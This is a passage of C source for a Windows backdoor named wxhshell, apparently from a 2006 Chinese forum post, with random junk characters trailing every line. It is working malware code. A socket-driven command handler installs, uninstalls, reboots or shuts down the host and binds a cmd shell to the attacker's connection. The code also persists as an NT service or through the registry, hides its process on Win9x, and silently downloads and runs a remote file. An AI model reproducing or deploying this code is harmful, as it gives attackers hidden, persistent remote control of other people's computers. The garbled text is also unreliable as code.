    switch(cmd[0]) { |aT| l^2R@  
  UG'9*(*  
  // 帮助 XVv K2(  
  case '?': { k;w- E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 11<KpxKpk  
    break; Bh=u|8yxc  
  } }T%}wdj  
  // 安装 4*e0 hWp  
  case 'i': { ~ ; -! n;  
    if(Install()) N1|$$9G+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZE2$I^DY-  
    else i1>- QDYnJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DRc)iE>@  
    break; Yx eOI#L  
    } ~wJFa'2  
  // 卸载 IGtl\b=  
  case 'r': { = Wu *+paQ  
    if(Uninstall()) bZ|FnY}FB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UmQ?rS8d  
    else ,:Lb7bFv>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [L:o`j  
    break; |=$-Wu  
    } +eX@U;J,g  
  // 显示 wxhshell 所在路径 4)U.5FBk )  
  case 'p': { V\^EfQ  
    char svExeFile[MAX_PATH]; .R9IL-3fO  
    strcpy(svExeFile,"\n\r"); m<0&~rg   
      strcat(svExeFile,ExeFile); qU#BJON]BR  
        send(wsh,svExeFile,strlen(svExeFile),0); z&{5;A}Q@  
    break; p\JfFfC  
    } p~9vP)74u  
  // 重启 AiK  
  case 'b': { XwlbJ=mf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Tm!VFd  
    if(Boot(REBOOT)) US%^#D q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LWHd~"eU  
    else { t| 'N+-T3  
    closesocket(wsh); 4qYUoCR&  
    ExitThread(0); l?Fb ='#  
    } e}.^Tiwd]  
    break; y^}6!>Ou:  
    } 5<ux6,E1{  
  // 关机 j'BMAn ?  
  case 'd': { ##EYH1P]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hYM@?/(q  
    if(Boot(SHUTDOWN)) d\ ~QBr?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVFf.  
    else { ODC8D>ZYl  
    closesocket(wsh); tX"Th'Qi  
    ExitThread(0); yZ7,QsEsN  
    } HfvTxaK  
    break; Ie4hhW  
    } S}ECW,K  
  // 获取shell ]f_6 '|5 A  
  case 's': { 9> g,  
    CmdShell(wsh); W"k8KODOY  
    closesocket(wsh); stk9Ah  
    ExitThread(0); y;AL'vm9  
    break; H03jDM8Q  
  } &ZX{R#[L  
  // 退出 %B)6$!x  
  case 'x': { sSQs#+ &=[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r,Nq7Txn?  
    CloseIt(wsh); y(=#WlK }  
    break; LJ(1RK GCz  
    } A^2Uzmzl?  
  // 离开 &g~ wS@  
  case 'q': { 0#YX=vjX7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $LLA,?;!  
    closesocket(wsh); t6A:Z mG_  
    WSACleanup(); j~e;DO  
    exit(1); ]/B$br'O{?  
    break; ~DsECnD  
        } V]vc(rH  
  } (<Th=Fns?  
  } =pk)3<GwF  
<@Fy5k-%.  
  // 提示信息 N]<!j$pOz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L   
} ~2zM kVH  
  }  HC a  
wu4NLgkE  
  return; NSFs\a@1  
} ~~6^Sh60g  
.^m>AKC0cX  
// shell模块句柄 ryc& n5  
int CmdShell(SOCKET sock) "n=vN<8(o  
{ V2<?ol  
STARTUPINFO si; lZrVY+ D  
ZeroMemory(&si,sizeof(si)); YTjkPj:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W":PG68  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S>0nx ^P  
PROCESS_INFORMATION ProcessInfo; %O<%UmR  
char cmdline[]="cmd"; JB&\i#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b77>$[xB  
  return 0; @mBX~ ?=Z3  
} ?"KC-u|  
w1|A5q'M  
// 自身启动模式 f*24)Wn<  
int StartFromService(void) l?q%?v8  
{ %Jf<l&K .`  
typedef struct |K^"3`SJ  
{ 6Vbzd0dk  
  DWORD ExitStatus; W7\&~IWub  
  DWORD PebBaseAddress; Cb_oS4vM  
  DWORD AffinityMask; \AC|?/sH  
  DWORD BasePriority; brZ sA Q+k  
  ULONG UniqueProcessId; S#-tOj U*  
  ULONG InheritedFromUniqueProcessId; )|I5j];L  
}   PROCESS_BASIC_INFORMATION; wfP5@!I  
"sKa`WN}  
PROCNTQSIP NtQueryInformationProcess; q;:6_Qr  
B: \Uw|Mf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }=2;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7rC uu*M  
pMJ1v  
  HANDLE             hProcess; .y&QqxiE  
  PROCESS_BASIC_INFORMATION pbi; \G2B?>E;  
P@]8pIB0d^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hku!bJ  
  if(NULL == hInst ) return 0; fbkd"7u  
,\aUq|~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !gmH$1w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &l?+3$q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B<~U3b  
DS -fjH\  
  if (!NtQueryInformationProcess) return 0; 0K-*WQ*#9  
\@;\t7~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8p!*?RRme[  
  if(!hProcess) return 0; Dr9 ?2  
tdF9NFMD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A~dQ\M  
K A276#  
  CloseHandle(hProcess); /n4pXT  
o|j*t7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IjfxR mV  
if(hProcess==NULL) return 0; AC.A'|"]i  
dk==?  
HMODULE hMod; 1,V`8 [  
char procName[255]; Z h/Uu6  
unsigned long cbNeeded; =5s F"L;b  
%G@5!|J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6st^4S5  
$^tv45  
  CloseHandle(hProcess); 6UE(f@  
CZEW-PIhj  
if(strstr(procName,"services")) return 1; // 以服务启动 ItX5JV)  
(#oycj^<  
  return 0; // 注册表启动 ;_:Ool,  
} sK 2 e&  
9%IlW  
// 主模块 Q#Y k?Kv~  
int StartWxhshell(LPSTR lpCmdLine) WM)F0@"  
{ #2tCV't  
  SOCKET wsl; i\H+X   
BOOL val=TRUE;  j4R 4H;  
  int port=0; cMzkL%  
  struct sockaddr_in door; \NqEw@91B  
`E\imL  
  if(wscfg.ws_autoins) Install(); |7^^*UzSK:  
UHGcnz<  
port=atoi(lpCmdLine); Y&2aO1  
/i)Hb`(S  
if(port<=0) port=wscfg.ws_port; IOK}+C0e  
p$k\m|t  
  WSADATA data; G]Jz"xH#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~B$b)`*  
Y1dVM]l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "*7C`y5&P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1>r ,vD&  
  door.sin_family = AF_INET; gq5qRi`q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $A$@|]}p  
  door.sin_port = htons(port); 1IgHc.s  
t?^9HP1b_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WjMS5^ _  
closesocket(wsl); OSzjK7:  
return 1; 2BzqY`O  
} :ZxLJK9x1  
'xFYUU]#T^  
  if(listen(wsl,2) == INVALID_SOCKET) { -s$<Op{s  
closesocket(wsl);  0v^:  
return 1; T[Pa/j{  
} +[m8c){  
  Wxhshell(wsl); <3hA!$o~  
  WSACleanup(); _N3}gFh>  
2*U.^]~"{  
return 0; yZJ*dadAr  
s T3p>8n  
} #3kXmeyrD  
8G ]w,eF  
// 以NT服务方式启动 [$ :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^^(<c,NX#M  
{ ;5 <-)  
DWORD   status = 0; tLcEl'Eo  
  DWORD   specificError = 0xfffffff; !5x Ly6=}  
S)%_weLW7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A6ewdT?>,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qrz4}0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; # X.+  
  serviceStatus.dwWin32ExitCode     = 0; ~DLIzg7p!  
  serviceStatus.dwServiceSpecificExitCode = 0; 'Zk<l#"}  
  serviceStatus.dwCheckPoint       = 0; eSl-9 ^  
  serviceStatus.dwWaitHint       = 0; sa1mC  
v@G4G*x\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); | W#~F&{]  
  if (hServiceStatusHandle==0) return; OYf{?-QD  
8o)L,{yl  
status = GetLastError(); Xz;b,C&*t  
  if (status!=NO_ERROR) .F0]6#(  
{ #B\=Aa`*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JatHSW7j9  
    serviceStatus.dwCheckPoint       = 0; fo\\o4Qyh  
    serviceStatus.dwWaitHint       = 0; c!&Qj  
    serviceStatus.dwWin32ExitCode     = status; s0{ NsK>  
    serviceStatus.dwServiceSpecificExitCode = specificError; !W1eUY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GH'O! }  
    return; {TZE/A3D,  
  } u9![6$R  
<?$kI>Ot  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H?}wl%  
  serviceStatus.dwCheckPoint       = 0; -Gsl[Rc0H;  
  serviceStatus.dwWaitHint       = 0; j"<Y!Y3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NMjnL&P`  
} ~4 FDKU C  
g=A$<k  
// 处理NT服务事件,比如:启动、停止 yBz >0I3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $<e +r$1  
{ J(d2:V{h  
switch(fdwControl) \iMyo  
{ E!aq?`-'!  
case SERVICE_CONTROL_STOP: F(CRq`  
  serviceStatus.dwWin32ExitCode = 0; q|q:: q*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [Hcaw   
  serviceStatus.dwCheckPoint   = 0; @)sc6 *lnW  
  serviceStatus.dwWaitHint     = 0; $ u2Cd4  
  { _1JmjIH)M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wp*sP Z  
  } ) YSh D  
  return; 5_G'68;OV  
case SERVICE_CONTROL_PAUSE: J0Four#MD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j%M @#  
  break; - 8syjKTg  
case SERVICE_CONTROL_CONTINUE: <q7s`,rG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \7E`QY4  
  break; }(=ml7)v  
case SERVICE_CONTROL_INTERROGATE: GqjO>v fy  
  break; ZBj6KqfST%  
}; 7b.U!Ju  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `=!p$hg($  
} J1-):3A  
PN\V[#nS  
// 标准应用程序主函数 ?;8M^a/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \ j]~>9  
{ v+tO$QZ`  
^\YQ_/\~L  
// 获取操作系统版本 }%{=].)L  
OsIsNt=GetOsVer(); (G5T%[/U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vug-n 8  
~yN(-I1P  
  // 从命令行安装 dy_.(r5[L]  
  if(strpbrk(lpCmdLine,"iI")) Install(); \r]('x3S  
Za\RM[Z!I  
  // 下载执行文件 silp<13HN  
if(wscfg.ws_downexe) { a R#Cot  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '?R=P  
  WinExec(wscfg.ws_filenam,SW_HIDE); nx :)k-p_[  
} I2*oTUSik  
|p'i,.(c_W  
if(!OsIsNt) { (^S5Sc=  
// 如果时win9x,隐藏进程并且设置为注册表启动 `9EVB;  
HideProc(); 2nx8iA  
StartWxhshell(lpCmdLine); tG 7+7Z =  
} t/Z!O z6ZE  
else P7 8uq  
  if(StartFromService()) "4[<]pq  
  // 以服务方式启动 2$ VTu+  
  StartServiceCtrlDispatcher(DispatchTable); Wy)('EM  
else YnxU(v'\  
  // 普通方式启动 ?W<cB`J  
  StartWxhshell(lpCmdLine); Y?.gfEXSQo  
>'0lw+a  
return 0; g!`BXmW  
}
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只看该作者 1 发表于: 2006-10-10
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